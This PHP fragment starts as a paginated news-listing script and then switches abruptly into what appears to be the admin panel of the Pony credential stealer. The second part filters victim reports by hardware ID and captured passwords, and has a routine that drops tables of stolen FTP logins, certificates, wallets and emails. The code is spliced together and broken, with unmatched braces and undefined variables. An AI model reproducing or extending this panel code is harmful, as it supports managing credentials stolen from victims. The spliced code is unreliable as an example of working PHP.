<?php
SmartyPaginate::connect();
// set items per page
SmartyPaginate::setLimit(5);
#set url for links
SmartyPaginate::setUrl('./index.php?path=./main/news/tm0.news.display_news.php');
SmartyPaginate::setPrevText('PREV');
SmartyPaginate::setNextText('NEXT');
function getSearchResults(&$dbcon)
{
$X = SmartyPaginate::getCurrentIndex();
$Y = SmartyPaginate::getLimit();
$searchSQL = "SELECT * FROM sionapros_news WHERE 1 ORDER BY news_no DESC LIMIT {$X},{$Y}";
$result = $dbcon->execute($searchSQL);
foreach ($result as $row) {
// collect each record into $_data
$data[] = $row;
}
// now we get the total number of records from the table
$rowsSQL = "SELECT COUNT(*) FROM sionapros_news WHERE 1";
$dbcon->query($rowsSQL);
#$rowNo = $rows[0];
SmartyPaginate::setTotal($dbcon->getValue());
$dbcon->free();
return $data;
}
$results = getSearchResults($db);
if (sizeof($results) == 0) {
$searchMsg = 'NO ARTICLES WERE FOUND';
$smarty->assign('searchMsg', $searchMsg);
if (strlen($filter_hwid)) {
$filter .= '&filter_hwid=' . htmlspecialchars($filter_hwid, ENT_QUOTES, 'cp1251');
}
if (strlen($filter_nonparsed)) {
$filter .= '&filter_nonparsed=' . htmlspecialchars($filter_nonparsed, ENT_QUOTES, 'cp1251');
} elseif (strlen($filter_has_passwords)) {
$filter .= '&filter_has_passwords=' . htmlspecialchars($filter_has_passwords, ENT_QUOTES, 'cp1251');
}
SmartyPaginate::disconnect();
SmartyPaginate::connect();
SmartyPaginate::setURL($self_file . "?token=" . $token . "&action=reports" . $filter);
SmartyPaginate::setTotal($total_items_count);
SmartyPaginate::setLimit($max_results);
SmartyPaginate::setPageLimit(50);
SmartyPaginate::setPrevText($lang['Previous']);
SmartyPaginate::setNextText($lang['Next']);
SmartyPaginate::assign($smarty);
smarty_assign_common_vars($smarty, $pony_db);
$smarty->assign("report_list", $report_list);
$smarty->display('report_list.tpl');
}
} else {
if ($admin_action == 'admin') {
// ---------------------------------------------------------------------------------------
// User management
if ($admin_routine == 'rebuild_tables') {
if ($pony_db->priv_is_admin()) {
if ($pony_db->drop_table(CPONY_FTP_TABLE) && $pony_db->drop_table(CPONY_REPORT_TABLE) && $pony_db->drop_table(CPONY_REPORT_DATA_TABLE) && $pony_db->drop_table(CPONY_LOG_TABLE) && $pony_db->drop_table(CPONY_CERT_TABLE) && $pony_db->drop_table(CPONY_WALLET_TABLE) && $pony_db->drop_table(CPONY_EMAIL_TABLE) && $pony_db->drop_table(CPONY_DOMAINLIST_TABLE) && $pony_db->create_data_tables() && $pony_db->state) {
show_smarty_success($smarty);
} else {
show_smarty_error($smarty);
